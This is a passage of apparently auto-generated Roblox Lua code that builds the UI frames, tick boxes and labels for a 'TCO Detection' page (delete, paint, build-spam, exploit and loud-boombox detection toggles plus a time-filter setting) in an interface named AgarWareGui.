G2L["1ed"]["Position"] = UDim2.new(0.02367, 0, 0.15999, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow
G2L["1ee"] = Instance.new("Frame", G2L["1e6"]);
G2L["1ee"]["BorderSizePixel"] = 0;
G2L["1ee"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ee"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1ee"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1ee"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ee"]["Name"] = [[EnableDeleteRow]];
G2L["1ee"]["LayoutOrder"] = 2;
G2L["1ee"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteScript
G2L["1ef"] = Instance.new("LocalScript", G2L["1ee"]);
G2L["1ef"]["Name"] = [[EnableDeleteScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteTickBox
G2L["1f0"] = Instance.new("TextButton", G2L["1ee"]);
G2L["1f0"]["TextSize"] = 14;
G2L["1f0"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f0"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1f0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1f0"]["Text"] = [[]];
G2L["1f0"]["Name"] = [[EnableDeleteTickBox]];
G2L["1f0"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteText
G2L["1f1"] = Instance.new("TextLabel", G2L["1ee"]);
G2L["1f1"]["BorderSizePixel"] = 0;
G2L["1f1"]["TextSize"] = 14;
G2L["1f1"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f1"]["BackgroundTransparency"] = 1;
G2L["1f1"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f1"]["Text"] = [[Delete Detection]];
G2L["1f1"]["Name"] = [[EnableDeleteText]];
G2L["1f1"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow
G2L["1f2"] = Instance.new("Frame", G2L["1e6"]);
G2L["1f2"]["BorderSizePixel"] = 0;
G2L["1f2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1f2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1f2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f2"]["Name"] = [[EnablePaintRow]];
G2L["1f2"]["LayoutOrder"] = 2;
G2L["1f2"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintScript
G2L["1f3"] = Instance.new("LocalScript", G2L["1f2"]);
G2L["1f3"]["Name"] = [[EnablePaintScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintTickBox
G2L["1f4"] = Instance.new("TextButton", G2L["1f2"]);
G2L["1f4"]["TextSize"] = 14;
G2L["1f4"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f4"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1f4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1f4"]["Text"] = [[]];
G2L["1f4"]["Name"] = [[EnablePaintTickBox]];
G2L["1f4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintText
G2L["1f5"] = Instance.new("TextLabel", G2L["1f2"]);
G2L["1f5"]["BorderSizePixel"] = 0;
G2L["1f5"]["TextSize"] = 14;
G2L["1f5"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1f5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f5"]["BackgroundTransparency"] = 1;
G2L["1f5"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1f5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f5"]["Text"] = [[Paint Detection]];
G2L["1f5"]["Name"] = [[EnablePaintText]];
G2L["1f5"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow
G2L["1f6"] = Instance.new("Frame", G2L["1e6"]);
G2L["1f6"]["BorderSizePixel"] = 0;
G2L["1f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1f6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f6"]["Name"] = [[EnableSpamRow]];
G2L["1f6"]["LayoutOrder"] = 2;
G2L["1f6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamScript
G2L["1f7"] = Instance.new("LocalScript", G2L["1f6"]);
G2L["1f7"]["Name"] = [[EnableSpamScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamTickBox
G2L["1f8"] = Instance.new("TextButton", G2L["1f6"]);
G2L["1f8"]["TextSize"] = 14;
G2L["1f8"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f8"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1f8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1f8"]["Text"] = [[]];
G2L["1f8"]["Name"] = [[EnableSpamTickBox]];
G2L["1f8"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamText
G2L["1f9"] = Instance.new("TextLabel", G2L["1f6"]);
G2L["1f9"]["BorderSizePixel"] = 0;
G2L["1f9"]["TextSize"] = 14;
G2L["1f9"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f9"]["BackgroundTransparency"] = 1;
G2L["1f9"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f9"]["Text"] = [[Build Spam Detect..]];
G2L["1f9"]["Name"] = [[EnableSpamText]];
G2L["1f9"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow
G2L["1fa"] = Instance.new("Frame", G2L["1e6"]);
G2L["1fa"]["BorderSizePixel"] = 0;
G2L["1fa"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1fa"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1fa"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1fa"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fa"]["Name"] = [[EnableExploitsRow]];
G2L["1fa"]["LayoutOrder"] = 2;
G2L["1fa"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsScript
G2L["1fb"] = Instance.new("LocalScript", G2L["1fa"]);
G2L["1fb"]["Name"] = [[EnableExploitsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsTickBox
G2L["1fc"] = Instance.new("TextButton", G2L["1fa"]);
G2L["1fc"]["TextSize"] = 14;
G2L["1fc"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1fc"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1fc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1fc"]["Text"] = [[]];
G2L["1fc"]["Name"] = [[EnableExploitsTickBox]];
G2L["1fc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsText
G2L["1fd"] = Instance.new("TextLabel", G2L["1fa"]);
G2L["1fd"]["BorderSizePixel"] = 0;
G2L["1fd"]["TextSize"] = 14;
G2L["1fd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1fd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1fd"]["BackgroundTransparency"] = 1;
G2L["1fd"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1fd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fd"]["Text"] = [[Exploit Detection]];
G2L["1fd"]["Name"] = [[EnableExploitsText]];
G2L["1fd"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup
G2L["1fe"] = Instance.new("Frame", G2L["1e4"]);
G2L["1fe"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1fe"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1fe"]["Size"] = UDim2.new(0, 170, 0, 65);
G2L["1fe"]["Position"] = UDim2.new(0, 0, 0.35278, 0);
G2L["1fe"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1fe"]["Name"] = [[MiscGroup]];
G2L["1fe"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscScript
G2L["1ff"] = Instance.new("LocalScript", G2L["1fe"]);
G2L["1ff"]["Name"] = [[MiscScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscToolTip
G2L["200"] = Instance.new("LocalScript", G2L["1fe"]);
G2L["200"]["Name"] = [[MiscToolTip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.UIListLayout
G2L["201"] = Instance.new("UIListLayout", G2L["1fe"]);
G2L["201"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscAccentColor
G2L["202"] = Instance.new("Frame", G2L["1fe"]);
G2L["202"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["202"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["202"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["202"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["202"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["202"]["Name"] = [[MiscAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscTitle
G2L["203"] = Instance.new("TextLabel", G2L["1fe"]);
G2L["203"]["TextWrapped"] = true;
G2L["203"]["BorderSizePixel"] = 0;
G2L["203"]["TextSize"] = 14;
G2L["203"]["TextScaled"] = true;
G2L["203"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["203"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["203"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["203"]["BackgroundTransparency"] = 0.95;
G2L["203"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["203"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["203"]["Text"] = [[Misc]];
G2L["203"]["LayoutOrder"] = 1;
G2L["203"]["Name"] = [[MiscTitle]];
G2L["203"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscTitle.MiscMinimize
G2L["204"] = Instance.new("TextButton", G2L["203"]);
G2L["204"]["BorderSizePixel"] = 0;
G2L["204"]["TextSize"] = 14;
G2L["204"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["204"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["204"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["204"]["BackgroundTransparency"] = 1;
G2L["204"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["204"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["204"]["Text"] = [[-]];
G2L["204"]["Name"] = [[MiscMinimize]];
G2L["204"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow
G2L["205"] = Instance.new("Frame", G2L["1fe"]);
G2L["205"]["BorderSizePixel"] = 0;
G2L["205"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["205"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["205"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["205"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["205"]["Name"] = [[LBoomboxRow]];
G2L["205"]["LayoutOrder"] = 2;
G2L["205"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxScript
G2L["206"] = Instance.new("LocalScript", G2L["205"]);
G2L["206"]["Name"] = [[LBoomboxScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxTickBox
G2L["207"] = Instance.new("TextButton", G2L["205"]);
G2L["207"]["TextSize"] = 14;
G2L["207"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["207"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["207"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["207"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["207"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["207"]["Text"] = [[]];
G2L["207"]["Name"] = [[LBoomboxTickBox]];
G2L["207"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxText
G2L["208"] = Instance.new("TextLabel", G2L["205"]);
G2L["208"]["BorderSizePixel"] = 0;
G2L["208"]["TextSize"] = 14;
G2L["208"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["208"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["208"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["208"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["208"]["BackgroundTransparency"] = 1;
G2L["208"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["208"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["208"]["Text"] = [[Detect Loud Boombox]];
G2L["208"]["Name"] = [[LBoomboxText]];
G2L["208"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow
G2L["209"] = Instance.new("Frame", G2L["1fe"]);
G2L["209"]["BorderSizePixel"] = 0;
G2L["209"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["209"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["209"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["209"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["209"]["Name"] = [[AutoPaintRepRow]];
G2L["209"]["LayoutOrder"] = 8;
G2L["209"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepScript
G2L["20a"] = Instance.new("LocalScript", G2L["209"]);
G2L["20a"]["Name"] = [[AutoPaintRepScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepTickBox
G2L["20b"] = Instance.new("TextButton", G2L["209"]);
G2L["20b"]["TextSize"] = 14;
G2L["20b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["20b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["20b"]["Text"] = [[]];
G2L["20b"]["Name"] = [[AutoPaintRepTickBox]];
G2L["20b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepText
G2L["20c"] = Instance.new("TextLabel", G2L["209"]);
G2L["20c"]["BorderSizePixel"] = 0;
G2L["20c"]["TextSize"] = 14;
G2L["20c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["20c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20c"]["BackgroundTransparency"] = 1;
G2L["20c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["20c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20c"]["Text"] = [[Auto Repaint Bkit]];
G2L["20c"]["Name"] = [[AutoPaintRepText]];
G2L["20c"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide
G2L["20d"] = Instance.new("Frame", G2L["1e3"]);
G2L["20d"]["BorderSizePixel"] = 0;
G2L["20d"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["20d"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["20d"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["20d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20d"]["Name"] = [[TCODetectionRightSide]];
G2L["20d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.UIListLayout
G2L["20e"] = Instance.new("UIListLayout", G2L["20d"]);
G2L["20e"]["Padding"] = UDim.new(0, 7);
G2L["20e"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup
G2L["20f"] = Instance.new("Frame", G2L["20d"]);
G2L["20f"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["20f"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["20f"]["Size"] = UDim2.new(0, 170, 0, 137);
G2L["20f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["20f"]["Name"] = [[GSettingsGroup]];
G2L["20f"]["LayoutOrder"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsScript
G2L["210"] = Instance.new("LocalScript", G2L["20f"]);
G2L["210"]["Name"] = [[GSettingsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsToolTip
G2L["211"] = Instance.new("LocalScript", G2L["20f"]);
G2L["211"]["Name"] = [[GSettingsToolTip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.UIListLayout
G2L["212"] = Instance.new("UIListLayout", G2L["20f"]);
G2L["212"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsTitle
G2L["213"] = Instance.new("TextLabel", G2L["20f"]);
G2L["213"]["TextWrapped"] = true;
G2L["213"]["BorderSizePixel"] = 0;
G2L["213"]["TextSize"] = 14;
G2L["213"]["TextScaled"] = true;
G2L["213"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["213"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["213"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["213"]["BackgroundTransparency"] = 0.95;
G2L["213"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["213"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["213"]["Text"] = [[Detection Settings]];
G2L["213"]["LayoutOrder"] = 1;
G2L["213"]["Name"] = [[GSettingsTitle]];
G2L["213"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsTitle.GSettingsMinimize
G2L["214"] = Instance.new("TextButton", G2L["213"]);
G2L["214"]["BorderSizePixel"] = 0;
G2L["214"]["TextSize"] = 14;
G2L["214"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["214"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["214"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["214"]["BackgroundTransparency"] = 1;
G2L["214"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["214"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["214"]["Text"] = [[-]];
G2L["214"]["Name"] = [[GSettingsMinimize]];
G2L["214"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsAccentColor
G2L["215"] = Instance.new("Frame", G2L["20f"]);
G2L["215"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["215"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["215"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["215"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["215"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["215"]["Name"] = [[GSettingsAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow
G2L["216"] = Instance.new("Frame", G2L["20f"]);
G2L["216"]["BorderSizePixel"] = 0;
G2L["216"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["216"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["216"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["216"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["216"]["Name"] = [[TimeFilterRow]];
G2L["216"]["LayoutOrder"] = 3;
G2L["216"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterText
G2L["217"] = Instance.new("TextLabel", G2L["216"]);
G2L["217"]["BorderSizePixel"] = 0;
G2L["217"]["TextSize"] = 14;
G2L["217"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["217"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["217"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["217"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["217"]["BackgroundTransparency"] = 1;
G2L["217"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["217"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["217"]["Text"] = [[Time Filter]];
G2L["217"]["Name"] = [[TimeFilterText]];
G2L["217"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger
G2L["218"] = Instance.new("TextBox", G2L["216"]);
G2L["218"]["Name"] = [[TimeFilterChanger]];
G2L["218"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["218"]["TextWrapped"] = true;
G2L["218"]["TextSize"] = 14;
G2L["218"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["218"]["TextScaled"] = true;
G2L["218"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["218"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["218"]["PlaceholderText"] = [[(none)]];
G2L["218"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["218"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["218"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["218"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger.TimeFilterScript
G2L["219"] = Instance.new("LocalScript", G2L["218"]);
G2L["219"]["Name"] = [[TimeFilterScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterHelp
G2L["21a"] = Instance.new("TextButton", G2L["216"]);
G2L["21a"]["TextSize"] = 14;
G2L["21a"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["21a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["21a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["21a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["21a"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["21a"]["Text"] = [[?]];
G2L["21a"]["Name"] = [[TimeFilterHelp]];
G2L["21a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
